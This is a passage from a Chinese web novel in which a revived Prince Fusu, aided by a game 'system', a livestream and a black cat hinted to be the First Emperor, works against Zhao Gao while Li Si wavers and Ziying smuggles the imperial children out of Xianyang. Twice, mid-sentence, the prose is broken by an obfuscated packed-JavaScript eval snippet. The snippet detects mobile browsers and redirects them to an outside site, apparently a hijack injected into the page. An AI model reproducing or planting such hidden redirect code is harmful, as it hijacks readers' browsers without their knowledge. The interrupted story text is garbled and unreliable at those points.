扶苏刹那间睁大了眼睛,看着榻上多出的一堆东西。 崭新的服饰,熟悉的长剑,价值连城的美玉和权力象征的玉玺。 这些东西,这些…… “这是系统复制的吗?”扶苏不禁问。 “你觉得呢?”玄猫反问。 “太阿剑和和氏璧应该陪葬了,你不会是从我父皇陵里偷的吧?”扶苏失声。 玄猫气呼呼地给了扶苏的脑袋一爪子,梆的一下,没伸尖爪,真的很手下留情了。 所以,真的不能怪扶苏多想。 这只猫,这只给扶苏带来很多熟悉之感的猫,到底是不是嬴政,扶苏有了猜测,只是没有证据。 但没关系,糊弄完使者司马欣,杀了两赵高周边之后,没过几天,蒙毅就来了。 比李斯的回信和将闾的奔逃来得都要快。 9. 李斯:??!! 蒙毅来的时候,阿里种下的大头菜已经出苗,并长得有手掌高了。 高炉炼铁的炉子还在改进,最早一批比较粗糙的麻纸倒是已经问世了,就是太糙,会晕墨。造纸小组拍胸脯表示下一批会更好。 瓷器小组卡住了,好像对土不满意,漫山遍野到处挖土去了。 花生米的五十亩地不仅搞好了垄,播完了麦子,还有余力去扫盲队给黔首上课,教他们学习代田法。 本土的工室这边忙着造更多农具,耦犁耧车直辕犁曲辕犁和龙骨水车……鲁八他们陷入疯狂,埋头苦搓,恨不得把农具博物馆都搬过来。 对玩家们来说,网上到处都是图纸,博物馆到处都是实物,只要记下来,画出来就行,接下来就全是工匠的事了。 游戏自带语言翻译系统,倒不怕双方听不懂彼此的语言。 扶苏时常往田地里转悠,bgm就会很应景地响起:“我们的家乡,在希望的田野上……” 这个bgm和代田法一样,对农作物的收获有50%的加成。为了这加成,扶苏就抽空往一片片田里去。 悠扬动听的旋律,就在上郡田野里常常回荡。 蒙毅匆匆忙忙赶到上郡时,看到的就是田地里一片热火朝天的景象。 他的脚步顿住了,不由自主地注视了片刻那些从前没见过的农具,以为是墨家的新发明,没有多想,先去拜见了扶苏。 “见过公子,公子可好?” “还没死,就挺好的。”扶苏看见蒙毅,心情多少轻松了点。 蒙毅还活着,他的胜算又大了几分。 蒙毅神情凝重,向他的哥哥微微点头,心里百感交集,似乎是山穷水尽无可奈何,却又得摒弃所有杂念,尽量与扶苏平静地交换情报。 “陛下真的驾崩了?”蒙毅一开口,问的却是嬴政。 他是嬴政最亲近最信任的人,后面要不要加“之一”都不好说,但偏偏在嬴政生命的最后时刻,他奉命去会稽为生病的嬴政祈福祭祀,导致他错过了这最重要的时刻。 这一错,就是一生。 不止是嬴政的一生,还是扶苏、是蒙恬、是蒙毅自己,以及很多很多人的一生。 扶苏垂眼,看向静默的猫猫。 猫猫凝固得像一尊石像,却在蒙毅眼里闪着泪光时,悄咪咪伸爪,搭了一下蒙毅的胳膊。 蒙毅忍着泪,努力镇定下来:“陛下是不可能传位胡亥公子的,他与我说过……” 扶苏与蒙恬连忙定神去听,不肯放过一个字。 嬴政的心意,这个时候,才真正传达到了他们耳朵里。 “陛下说,胡亥年幼,无雄主之魄,亦无守成之智,软而无骨,顺而无断,不足以承大统。”蒙毅语气平平地转述道,“承欢膝下可,但也仅此而已了。” “父皇,没有动过立胡亥的心思?”扶苏确认道。 “从来没有。”蒙毅肯定道,“陛下并未想到,他会晏驾于此,否则不会还东巡,也不会把我派出去了。他知道自己病了,原想着等回咸阳之后,把公子你召回来,没想到……” 蒙毅有点说不下去了。 嬴政追求长生,就像很多人买彩票一样,只是抱有不切实际的期望,并不是一心一意以为他自己真的能长生不死。 自己的身体自己还不清楚吗? 生没生病、痛不痛、难不难受,这些状况嬴政难道还能没感觉吗? 只是死亡来得太快,没有给嬴政更多机会。 “他想……把我召回咸阳?”扶苏低声喃喃。 “是。”蒙毅回答,“这是陛下的原话,他甚至已经在考虑拟诏了。” 扶苏心中酸涩,久久无言。 如果他早知道……他要是早知道就好了。 这个话题太沉重,总有一种世事难料的悲凉之感。蒙恬等了等,见他俩都默然,就说道:“不知丞相那边,会是什么反应?倘若他能动摇,于我们也是一助力。” “丞相吗?”蒙毅迟疑,“他与公子,素来政见不合……” 扶苏简单地说了一下他截杀赵成阎乐,又伪装嬴政给李斯将闾送信的事。 蒙毅听得一愣一愣的,不确定道:“丞相,会信吗?” 正常情况下,李斯肯定是不信的。 虽然这是个方士遍地走、九成的人都有点小迷信的时代,但李斯是实用主义的法家元老,他亲眼看见嬴政死在他面前,又半推半就地配合赵高矫诏,还无视了赵高拿咸鱼充数,塞进嬴政的车架,遮掩六七月韫凉车的味道。 这一整套亵渎皇帝的操作下来,李斯还能残留多少敬畏? 就算有,也被炽烈的权欲盖过去了。 这个时候的李斯,并不觉得自己有错。他只不过是在选择和拥立一个更好控制的君主而已,权臣立少主这种事,自古以来屡见不鲜,有什么稀奇的呢? 所以司马欣一开始私下拜访李斯,李斯并不太在意。 直到司马欣说,赵成和阎乐都被处决,上郡还在扶苏公子手里,而始皇陛下出现在了他面前。 李斯:“!!!” 他愕然惊怔,首先怀疑的是司马欣失心疯了。 “这不可能!” “是真的,我亲眼所见。”司马欣急急道。 “我不相信!”李斯断然否决。 他必须否决,只能否决,不然他就得说服自己,这个世界疯了,所有人都在发癫。 “赵成和阎乐一进上郡就死了,这个丞相你可以去查证——但不能告知赵高。” “我会去查证的。”李斯无动于衷。 “扶苏公子真的还活着。” 李斯冷笑了一声:“你知道,是赵成往上郡传的诏令,确定扶苏公子自杀身亡,才返回的吗?你是想说,赵成分不清人到底死没死?” 司马欣哪知道这些内情? “我亲耳听到驿站的人称呼‘公子’。” “你亲眼见到扶苏公子本人了?”李斯质问。 “那倒没有。”司马欣憋屈道。 李斯暗含不屑地瞄他,云淡风轻但又咄咄逼人:“那你怎么知道扶苏公子还活着?” “但我见到陛下了!” 李斯嗤笑一声,不屑一顾:“从陛下宾天,至回到咸阳,再到下葬骊山,整整两个月,我一直都在侧。你觉得我会相信这种鬼话?” 司马欣被噎得说不出话,李斯怜悯道,“你若是眼花至此,不如去就医,省得说些贻笑大方的妄言。” 总而言之,李斯不信,根本不信。 司马欣无奈,只能拿出仅剩的那封信——另一封他已经偷偷送给将闾了,就是怕李斯这边起变故。 幸好做了两手准备。 李斯狐疑地看向这个盒子,沉香木的,系着暗金的缎带,盒口居然盖着玉玺的印章。 “???”李斯这时才有点震悚,拿起盒子仔细端详那印章。 印章就是李斯造的,玉玺上的字就是李斯写的,除了嬴政,谁能比李斯更熟悉这玉玺? 他看了又看,居然没有看出这印章哪里有问题。 怎么可能呢? 如果这是真的,嬴政竟然在李斯完全不知道的时候,留下了这样一份东西吗? 李斯深吸一口气,小心翼翼地打开了盒子的封口。 那完整的印章,立刻就被破坏掉了,非常明显,足以说明,之前绝对没有人打开过。 李斯下意识瞟了司马欣一眼,后者转过身去,以示自己绝不偷看。 谨慎的法家往边上走走,取出了漆盒里的绢书。 一展开,这铁画银钩的笔锋,就熟悉到让李斯心惊肉跳。 李斯从二十几年前做吕不韦的门客时得以觐见嬴政,到成为客卿,而后廷尉,再到当上大秦的丞相,成为重臣兼宠臣,他的女儿嫁与公子,他的儿子尚了公主,从一个寂寂无名的小吏,走到今天这个位置,全赖于当年的秦王嬴政。 这个时代不缺有才华的人,如果没有嬴政,即便李斯有惊天之才,也没有施展的余地。 他靠着嬴政走到了今天,自以为自己不过是为了权位做出了正常的、合理的选择,但李斯看着这绢书,却突然心悸。 这信上写了什么呢?其实不过就一句话。 “若大秦亡于胡亥之手,你三族被灭,李斯,黄泉之下,你有何颜面见朕?” 李斯迅速地把绢书合上,竟然有些触目惊心,好像那不是一个个篆体字,而是一把把对准心脏的剑。 他已经做出了选择,难道还有反悔的余地不成? 无论如何,他也只能一条道走到黑。 胡亥已经继位,赵高也不是好相与的,这个时候后悔也晚了! 但是,但是—— 李斯踱步踱得更远了点,又把合起来的绢书打开,将那短短一句话看了又看。 他看了很久,久到仿佛能透过这一个个字,看见写字的人的神情。 威严肃穆,带着彻骨冰寒,居高临下,睥睨众生。 很多年前,李斯觉得自己就像嬴政手里的刀笔,为嬴政书写所有他想要的文字,也为嬴政去掉所有他想去掉的错字。 比如韩非。 刀笔吏,笔用来写,刀用来篆刻或者改错,削、划、刻、刺……是锋锐的,也是为人所操控的。 李斯不觉得这有什么不好,如果嬴政再活十年,如果李斯死在嬴政之前,他们君臣之间,说不定也能成为史书传唱的千古佳话。 可是偏偏,嬴政死了,死在了李斯之前。 按大秦一贯的政治传统,一朝天子一朝臣,上一任秦王的丞相,落到了下一任秦王手上,非死即废。 商鞅、张仪、吕不韦……这一代一代的,都给李斯做好榜样了。 李斯就是怕落得这样的结局,才没有选与他政见不合的扶苏,但现在这不知哪里来的信里却说,李斯会三族俱灭。 这信到底谁写的?真的会是始皇陛下亲笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644944|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 李斯书法绝妙,精通文字,还不至于分不清真假,所以他越看越心惊,越看越觉得,这确实是嬴政亲手写的,一点也做不得假。 怎么可能呢? 李斯心乱如麻,沉默半晌,重新坐下来,态度已和刚才截然不同,正色道:“司马长史,请坐。烦请细说,此信你从何而来?” 司马欣心里的大石头稳稳地落了下来,他知道,他获得了不被李斯举报杀掉的机会,也暂时安全了。 于是司马欣安心坐下来,把他进入上郡驿站之后发生的事,原原本本说了一遍。 人的主观记忆,和客观现实,本就是有差距的,何况当时的情况过于震慑三观,从司马欣嘴里陈述出来,难免带上了几分夸张和渲染。 “还想再活五百年?”李斯听得满头问号,将信将疑,拿出了曾经当廷尉的习惯,反复盘问细节。 “你所见的陛下可配了剑?” “佩了太阿。” “你撒谎,太阿剑已经陪葬骊山了,怎么可能再出现?天下间只有一把太阿剑。” “我撒这个谎干什么?难道我傻吗?我不知道太阿剑肯定陪葬了?”司马欣直接反问。 这倒也是。李斯皱眉思量,继续问:“你说陛下是飘着的?” “是。” “周围有浓烟雾气?” “有。”司马欣干了好多年典狱长,当然发现李斯是在“审”他,但他清清白白,没有一句谎话,自然也就坦坦荡荡,任由李斯盘问,理直气壮得很。 他们来来回回,一问一答,跟做笔录似的,问答了很久。 “赵成和阎乐是怎么死的,你知道吗?” “尸体被处理了,我没有检查,也没有去挖。”司马欣说完,顿了顿,压低声音道,“但我推测,应该是驿站庖厨下了毒,因为他们提到了‘商陆’,此物有毒。” “也就是说,早在赵成他们踏入上郡之前,就已经备好陷阱了。”李斯幽幽道,“你倒是命大,逃过一劫。” 司马欣心有余悸,愈加坦然:“毕竟我不是赵高的人,陛下总该留个传话的。” “真的是陛下吗?”李斯没有办法说服自己全信。 “丞相若是不信,何必留我问这许多?直接以非议妄言之罪把我拿下不就行了?处置我一个长史,莫非很难?”司马欣有把握李斯不会拿他怎么样,说话也就大胆起来了。 司马欣没有拆开那两个盒子,但凭李斯态度的变化,他断定那信绝对是陛下写的,不然李斯凭什么对他这么客气? 既然是陛下写的信,既然陛下还活着,那胡亥和赵高算啥呀! 火中蝼蚁,说死就死。 李斯心情很复杂,因为他问到现在,竟然没有发现司马欣有失心疯或撒谎的迹象。 明明司马欣说的每句话都很离谱,但为什么居然不是谎言? 难道是真的? 怎么可能是真的呢? 李斯的世界观碎得像被半挂碾过的玻璃,全是渣渣。 那他现在该怎么办? 直到送走了司马欣,李斯谨慎地把那信缝进衣服夹层,晚间就迎来了他的女婿公子将闾。[1] “你怎么这个时辰过来?马上宵禁了。” “命都快没了,还在乎宵禁?”将闾趁着夜幕遮掩,从马车里带出一个半大的孩子来。 这孩子十岁出头,面色蜡黄,病骨支离,眼看都没有多少时日了,站都站不稳,要靠将闾支撑才能站住。 “你怎么把小公子也带出来了?”李斯一惊,连忙把他俩迎进去,吩咐从者保密。 小公子勉强开口:“是我自己要来的。” 将闾与小公子齐齐向李斯躬身,低首恳求:“还请丞相援手。” 李斯心中一跳:“出什么事了?” 将闾立刻道:“我今日进宫,撞见宫人在子虞的药里下毒,只怕已经不是第一次了。父皇才过世多久,胡亥就容不下子虞了,如此心急,难道他能容下我?” 子虞是扶苏的孩子,身体本就不好,扶苏去上郡时,没有带这幼小的病号。子虞母亲去世得早,但嬴政并没有亏待儿女,也没有亏待子虞,这孩子就这么在咸阳宫里安安静静地长到了如今这年岁。 基本可以说,是太医和珍贵药材硬保下来的金贵小生命。 将闾对扶苏被赐死和胡亥继位这件事,本就存有惋惜与疑虑,一收到信就赶紧往子虞那里去,带着差点被毒死的病弱小侄子,就往李斯这里跑。 将闾语速很快,像黑白无常在身后追着他似的,继续道:“我们离开咸阳宫这件事,只怕很快就会被发现,到时候胡亥不可能会放过我们。还请外舅(岳父)[2]援手,助我们逃出咸阳。” “你当咸阳是我家吗?那么容易就出去?”李斯还没想好该怎么办,就听仆人匆匆来报。 “丞相,中车府令来了。” 赵高来了。 在场三人的脸色蓦然一变。 10. 逃出咸阳 李斯只能先把将闾和小公子藏起来,再去迎接赵高。 还特意迎到了大门处,与赵高寒暄好一阵子,好为两孩子赢得更多躲藏的时间。 即便没有嬴政的信,李斯私心里也没狠到要把将闾和小公子都弄死的程度。 死一个扶苏还不够吗?其他公子本身也没有什么威胁,小公子病成这样,不管他,也活不了多久了,何必赶尽杀绝呢? 但李斯也知道,自己似乎有点自欺欺人。 他真的没有想到,胡亥会对竞争对手下毒手吗?那未免显得他这个一路爬上来的丞相有点太天真。 还是说,只要不看不管,就能假装自己置身事外,对一切都丝毫不知? 李斯没有时间去剖析他自己了,因为他得花全部精力应付赵高。 赵高,可比胡亥难缠多了。 “真是稀客,中车府令怎么大晚上上我家来了?” “有些事,想找丞相商量。” “什么事不能朝议上说,还要专程来访?” “自然是不能在朝议上说的事。”赵高勾起笑来,顺口道,“我听说这宅子是当年陛下赐给丞相的。” “是,我漂泊至咸阳,囊中羞涩,买不起宅邸,一开始住在吕相国家里,做了几年客卿。后来陛下赏识我,便赐了这宅子。” “哦,吕相,后来自杀了。”赵高意味深长道,“他因嫪毐之乱被株连,免去相国之位,被遣回封地。然访客仍旧络绎不绝,陛下生怒,斥责流放,吕相恐惧,就自尽了。” 赵高说这话时,一直看着李斯的眼睛。 明明胡亥已经继位了,但无论是赵高,还是李斯,都还是称呼嬴政为“陛下”,丝毫没有换指代的意思。 在他们两个看来,现在的胡亥就等于牵线木偶,让他们在背后发自内心地称呼“陛下”,显然还不够格。 尤其是赵高。 赵高出身低微,是刑徒后人,母亲因罪没入隐官为婢。但他精通律法,又八面玲珑,从最底层爬上来,被嬴政提拔为中车府令,还派给胡亥当老师,教胡亥律法。 师生的关系摆在这里,加上彼此的性格能力落差,导致赵高心里,其实完全不把胡亥当成可以平等看待的对象。 要不是自己篡位成功的概率太小,赵高都想自己篡了。 李斯只是微笑,仿佛听不出赵高的言外之意。 “吕相虽是功臣,但委实招摇了些,我等自当谨记。”李斯温文尔雅地做出“请”的姿势,“中车府令请,我府上有几罂清酒,还是陛下赐的,一人独饮难免寂寞,正好贵客到了,不如同饮一爵?” “丞相客气了。”赵高对李斯的态度挺满意。 也许是出身太低,幼时受过的白眼太多,伏低做小这么多年,一朝大权在握,赵高现在反弹得厉害,膨胀得像个气球。 他嘴上说着李斯客气,脸上的得色却有点隐藏不住了。 李斯心里不得劲,暗暗叹了口气,不动声色地迎客,与赵高觥筹交错。 酒过三爵,赵高才施施然道:“眼下胡亥已经继位,陛下也葬了,我准备选个良辰吉日,把诸公子都除掉,丞相以为呢?” 原来是探口风来了。 有刚刚将闾做铺垫,李斯不是很意外,但他还是做出一副吃惊的样子,差点把爵中酒都洒了。 “把诸公子都除掉?” 赵高怡然自得:“当然,毕竟胡亥才排行十八,比他年长的公子实在太多了,若是谁有异心,少不得又要生乱。” “这……”李斯犹犹豫豫,垂下眼睛不说话。 “当断不断,反受其乱,王室叛乱时有发生,留下一个都是祸害,要杀自然就全杀。” “你问过胡亥了吗?” “问他干什么?他还能不同意?这是为了他自己的皇位,他又不傻,难道不怕自己的位置坐不稳吗?” 李斯知道,胡亥会同意的,他从不是重情重义、心慈手软的人。 如果胡亥是的话,赵高不会选他来操控。 李斯沉默一会,无能为力道:“你都决定了,还问我做什么?难不成我还能反对?” 赵高大笑:“要的就是你这句话。冯去疾和子婴定然会反对,所以你必须站在我这一边,我们联起手来,胡亥的诏令才管用。我明日就让胡亥下诏,斩草要除根。” “这么快?” “马上要岁首了,今年不除,岂不是要留到明年?” “……”李斯无法反驳,复杂之情溢于言表。 赵高却兴致高昂起来,谈性甚浓,眉飞色舞:“光除掉诸公子还不够,最好把公主们也除掉。” “什么?”李斯真的震惊了,“公主们也不留?但是——” 但是李斯的儿子李由尚了七公主,他们夫妻在三川郡过得很好。 赵高明白李斯想说什么,正是为了这个,他才特地来知会李斯。 “大丈夫何患无妻?你应该不会为了你的女婿和儿媳,而反对这件事吧?”赵高暗含警告。 李斯张了张嘴,呐呐无言。 赵高还不够满意,继续道:“如何啊,丞相?” 李斯还能如何,他只能颓然叹息,一爵接一爵地饮酒,最后默然许久,才道:“请容我与儿女知会一声,让他们避开。” 赵高笑道:“岁首在即,正好让胡亥召他的兄弟姊妹进宫,一并处决,省得一个个找,怪麻烦的。” 他说的如此轻描淡写,好像这不是一群公子和公主,而只是网中的一群麻雀。 李斯不能不为赵高这样的狠绝而心惊。 为争夺王位而自相残杀屡见不鲜,但要把所有兄弟姊妹都杀绝,一个不剩,这种事,李斯就算翻遍史书也没见过。 “胡亥那边……” “丞相放心,胡亥巴不得呢,他可不会不忍心。” 李斯无话可说,等赵高吃饱喝足,得意洋洋地走了,他一路送到大门外,望着那马车离去的影子发怔。 反应过来的时候,李斯的手抓着门框,指尖都攥得失去血色。 与虎谋皮就是如此了,他从前就知道赵高难缠,然而还是太低估了。 不能再这样下去了! 不管陛下是不是还活着,但上郡那边,扶苏蒙恬肯定还活着,不然赵成阎乐不会死得那么快。 既然扶苏还在,那就还有挽回的余地! 李斯如同一个疯狂的赌徒,在压上全部家产,却发现自己即将倾家荡产之后,现在决定把自己的命也压上,从压小临时改成压大。 他知道这很疯,但再不疯就晚了。 李斯咬了咬牙,转回卧室草草写了封绢书,密封在蜡丸里,而后去见将闾,把蜡丸塞将闾手里。 “你们得赶紧走,赵高和胡亥明天就会动手,晚了可能就跑不了了。若是能见到长公子,把这信交给他。” 将闾果断点头:“多谢外舅,我带子虞先走,能跑一个是一个。” “中尉军是雍城君在领,我送你们去找他说情。” 李斯一分钟也不敢耽搁,只想趁夜把人送出城。 雍城君子婴,是子楚的侄子[1],嬴政的堂弟,扶苏得叫声叔父,如今咸阳城门的守卫由子婴负责。 但以赵高的手段,子婴不知道还能负责多久,指不定很快就要换人了。 所以得抓紧,越快越好。 李斯给将闾和子虞准备了黑色外披,全塞马车里,径直往子婴府上去。 还没到后门口,就看到子婴早早地等候着,远远地就向他们招手。 李斯心里划过多种猜测,自己单独下车,正要试探几句,就听子婴道:“还有谁在马车上?没时间客套了,跟我走,我把你们都送出咸阳。” “这是何意?” “不是扶苏的意思吗?”子婴干脆道,“说让我把公子和公主们都送到上郡去,不然胡亥要杀他们。” “所以?” “丞相不必多言,还请相信我。”子婴二话不说,跟装运小鸡仔似的,把一辆辆马车运输出城。 顺利得不可思议。 子婴把几辆马车送到城外,还一辆一辆打开数了数。 公子和公主们乖乖坐着,让他数。 李斯回头看了看城门的方向,还有点恍惚。子婴数到了他的马车,对将闾和子虞笑了笑,还伸手摸了摸子虞的头。 “你也有好几年没见到你父亲了,此番正好去看看他。” “多谢叔公。”子虞小声。 “好孩子。”子婴叹道,“在咸阳的孩子我都送出来了,不在咸阳的,我也派人送信去了。你们去吧,上郡虽苦,好歹安全。在那边乖乖听你父亲的话,好好活下去。” “嗯。”子虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644945|206764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用力点头,向子婴行礼。 “去吧。将闾,好生照顾子虞。” “叔父放心,我会的。”将闾一口答应。 子婴令马车们急匆匆驶走,然后才有心情与李斯细说。 “你知道我今晚会找你?”李斯疑惑。 “我猜会是今晚。你不来找我,我也会去找你的。”子婴解释道,“我昨日收到了扶苏和蒙恬的密信,让我帮忙把孩子们救出去。” “雍城君竟无丝毫疑虑?” “疑虑什么?扶苏是什么性子,蒙恬又是什么性子,他们俩还能诓我?”子婴理所当然道,“天塌了,蒙家都不会谋反,扶苏更不会拿这种事骗我。这些孩子要真遇难,对扶苏而言有什么坏处呢?他冒险救他们,图什么?” 是啊,图什么? 往最利己的方向去想,放任胡亥把兄弟姊妹杀光,然后扶苏以“残害手足”为由,对胡亥发起攻讦,不才是最好的吗? 到时候扶苏失去了所有竞争对手,还能赢得为手足报仇的好名声,坐收渔翁之利,多简单! 但是扶苏没有。 因为扶苏没有,所以他才值得子婴冒这个险。 甚至于,这两句话,竟也能轻而易举说服李斯。 不就是因为扶苏和蒙恬都很正直忠诚,赵高才会想矫诏杀掉他们吗? 他们的品行,是连敌人都会认可的。 李斯多多少少松了口气,惦记着给李由送信,再把女儿也送走,明天还得应付胡亥和赵高,心事重重中,带上了忧色。 “明日赵高就会发现不对了,到时我们……” “来则御之,至则应之。 ”子婴眉目间掠过锐利的弧光,“我可不会坐以待毙。大不了我跟他拼了。” 李斯心里沉甸甸的,深觉风雨飘摇,但事已至此,他自己都得忙着自保,也没什么更好的办法。 “得联系一下右相和御史,想办法与赵高抗衡。”李斯低声与子婴商量。 右相冯去疾和御史冯劫是父子,大秦以右为尊,右相按理说比左相还高一点点。 但李斯近些年太受宠了,逐渐让人遗忘了这一点。 子婴深以为然:“你能这么想,就最好不过了。” 他们转过身,向咸阳城走去。 就此一别,各奔莫测的前程。 因着马车上带了个病号,所以尽管赶路赶得急,但到达上郡治所肤施城还是花了六天。 小公子的病更重了。 将闾很着急,半路上又找不到更高明的医者——哪能随随便便就找到比夏无且还厉害的医者呢? 小公子坚持快点赶路,不必为了他而耽搁,将闾无法,也只能按下焦灼,昼夜兼程,赶赴肤施。 他们到达肤施的那天,秋雨连绵,扶苏与蒙恬蒙毅在郊外撑着伞,离得很远听见马车的动静,就急急地离开避雨的华盖,向马车的方向应过去。 “按时间算,应该差不多到了吧?”扶苏喃喃自语,不自觉地去看向肩膀上的猫。 玄猫“嗯”了一声,尾巴尖动了动,像一只猫,也像一个人。 马车停在了扶苏面前,一个个熟悉的身影冒出头来,欣喜若狂,殷殷切切地跳下来。 “兄长!” “兄长你还活着,真是太好了!” “多谢兄长救命!” “见过兄长和蒙将军。” “阿父。”小小的声音夹杂在一片“兄长”里不太明显,但扶苏立刻就捕捉到了。 他伸出手,迅速上前两步,把那病弱的孩子从车上抱下来。 “能见到阿父,我也就没有什么遗憾了。”小公子眼里漾起笑来,硬撑着的一口气散了,脱力地倒在扶苏怀里。 正巧扶苏挂了直播,弹幕瞬间开始吱哇乱叫。 【咋的了这是?高兴得撅过去了?】 【这娃脸色太差,该进icu了】 【大秦哪有icu给你进?】 【不要这样啊!我上了一天班回来,不是为了看小孩死在自己爹怀里的呜呜】 【历史上根本没有扶苏儿子的记载,说不准早就夭折了吧?】 【大秦的史料就那么点,谁知道呢?】 【主播主播救一下啊,都有系统了,还能be不成?】 扶苏抱住了他的孩子,求助地看向疑似他父皇的猫。 11. 蒙毅发现了不对 扶苏平常很少开直播,他总觉得自己在上郡的日常没什么可看的,每日除了处理公务,就是关注玩家们的动向。 但今日与亲人重逢,扶苏心里喜悦,就打开直播,与观众们一同分享。 结果现在喜悦同享,揪心也同享了。 刘据在群里道:“你家崽身体这么差吗?医术是不是救不了了?” “看样子血条要见底了。”李承乾凉凉道,“赶紧让系统上吧,不然这么大孩子没了,以后还得再生,麻烦得很。” 这话说的怪极了,但鉴于李承乾一贯如此嘴毒,同伴们都懒得抨击他。 “不必担心,扶苏还有积分没用。”胤礽玩着戒指开关,给他的电子书翻页,淡定得很。 将闾面带愧色,不安道:“对不住兄长,我没有照顾好子虞……” “不是你的错,他自幼多病,能坚持到现在已经很不容易了。”扶苏直接把孩子横抱起来,蒙恬蒙毅的伞随之移了过来,为他们遮雨。 扶苏上辈子,都不知道这孩子是什么时候死的,因为他死得大约比子虞还早些。 彼时普通书信传得慢,上郡没有什么大事的话,扶苏也不好经常递信回去,好像觉得这样是公器私用,再加上他与嬴政这几年的隔阂,两边都冷着,就连累了这孩子。 玄猫的眼睛方才还顺着那些亲亲热热的声音,一一看过去,仿佛也在无声地数着都有谁,但子虞倒下之后,玄猫就没有心情接着数了。 冷静的电子合成音,出现在扶苏心里。 【你还有两百积分,可以兑换治愈术。】 【能治?】 【区区一点病症,有何不能治?】 这可不是“一点”病症,但玄猫说能治,扶苏当然深信不疑。 他们匆匆忙忙从郊外返回,半路上扶苏就兑换了治愈术,听玄猫解释这技能的用法。 【一天只可以用一次,小伤即刻就痊愈,大病会有个过程。只要还有呼吸,就救得回来。】 扶苏毫不犹豫地兑换掉仅剩的200积分。他的积分跟某些人的工资似的,基本上到手很快就花没了,然后等下次再挣,再花光。 就像现在这样。 【恭喜宿主救下始皇子女二十一人,奖励积分500。】 扶苏没心情管奖励的事,先给孩子用了治愈术。玄猫扒拉着一方软枕,推到扶苏腿边,因车上没外人,就开口道:“给子虞垫一下。” 猫把蒙毅吓了一跳。 是的,蒙毅也在车上呢。 这几天,蒙毅见多了玩家们的骚操作,本来该见怪不怪的,但玄猫突然开口说人话,完全不管蒙毅死活,还是把没有心理准备的蒙毅震住了。 蒙毅一边把软枕拿起来,一边小心地抬起子虞的脑袋,把软枕垫在扶苏腿上,让昏迷的孩子能躺得更舒服些。 这些琐碎的杂事,蒙毅也有很久没做了,自从赵高提拔到嬴政身边后,蒙毅这个近臣就渐渐转了纯粹的文职,只管印章文书那些事。 “狸狌会人语?”蒙毅忍不住低声。 “不是一般的狸狌。”扶苏轻声。 “是……神兽?”蒙毅这样猜测着。 “差不多。”扶苏没有把话说死。 蒙毅不自觉地去看猫,用一种全新的目光,不再把他当成扶苏的宠物。 玄猫不主动表示出亲近任何人的迹象,除了拿扶苏当猫爬架用,老是待在他两边肩膀上之外。 弹幕曾经笑嘻嘻地说扶苏很快就要高低肩了,跟带着胖猪猫的夏目一样。 玄猫不高兴,但有注意每天换一边肩膀待。 “这样的狸狌,从前倒没有见过。”蒙毅自言自语似的,注视着玄猫鎏金的眼睛,诡异地沉默了一下,声音弱下来,“竟有点像陛下……” 扶苏瞬间关掉了直播,把抓心挠肝想知道后续的观众们卡在了世界线之外。 玄猫和扶苏的目光不约而同地闪烁了一下,玄猫微微偏过脸,若无其事地去看子虞。 扶苏心里的把握更大了,毕竟这可是蒙毅,蒙毅这些年陪伴嬴政的时间可比扶苏多多了,他都说像,那肯定是真像。 而且蒙毅又不知道什么系统不系统的,纯出于感觉。 “何出此言?”扶苏含着期待地问。 “我亦不知。”蒙毅说不出来缘由,弱弱地心虚道,“虽然很冒犯,但陛下若是狸狌,想必会是这样的模样。” “只是模样吗?” “眼神也像。”蒙毅回忆着,“陛下有时也会这样看着臣。” 玄猫默默地往旁边挪几步,离蒙毅远了点。 “不乐意搭理人的时候,就像现在,更像了。” 玄猫刷地瞪了蒙毅一眼,冷飕飕的,但又不带任何怒气,说不清道不明的埋怨更多。 这种埋怨,甚至是一种亲近的埋怨,类似于“你还说?你不说话没人把你当哑巴。真讨厌。” 但不是真的讨厌。 蒙毅便怔住了,本来只是随口一说,没怎么放在心上,忽然之间就睁大了眼,心跳都加快了。 “这狸狌,公子到底是哪来的?” “捡的。” “何时捡的?” “我死之后。” “那……”蒙毅还想再刨根究底,玄猫“啪”的一声,打了蒙毅的手。 毛茸茸的肉垫攻击,看起来软乎乎,但一秒钟就给蒙毅的手背留下了一个鲜明的山竹印,红彤彤,每一个坑都按得很实在,可以盛水了。 这是……恼羞成怒了? 蒙毅只好闭上了嘴巴,当个乖巧的陶俑。 回到治所,疾医已经在那等着了,扶苏把孩子放到榻上,让疾医诊治。 蒙毅观察着疾医的脸,低声问:“这是夏无且之子夏枸吧?” 大秦的制度,很容易导致将军的子孙是将军,工匠的子孙是工匠,医者的儿子是医者,代代相传。 “上卿慧眼。”夏枸应了一句,就为小公子诊脉。 “臣听家父提起过小公子的病,言其先天胎弱,稚元不固,体虚多病,脉如游丝……不过,臣这番诊来却觉得尚好,没有这么严重。” 夏枸一个大转折,柳暗花明一般,缓和了神色。 “那现下如何了?”扶苏忙问。 “脉象仍偏细软无根,但潺潺如水,生机不绝,一时倒没有危险,照例用药膳温补,清淡少食多餐,禁生冷辛膻,辰申时在无风有阳处慢行,量力即刻,不可劳累……” “这是在养瓷娃娃吗?”李承乾笑话了句。 扶苏放下心来,心道:“没事,瓷娃娃我们也养得起。” “我们?” “我和我父皇。” “你真觉得这只猫是始皇陛下?”刘据忍不住问。 “嗯。”扶苏已经基本上断定了。 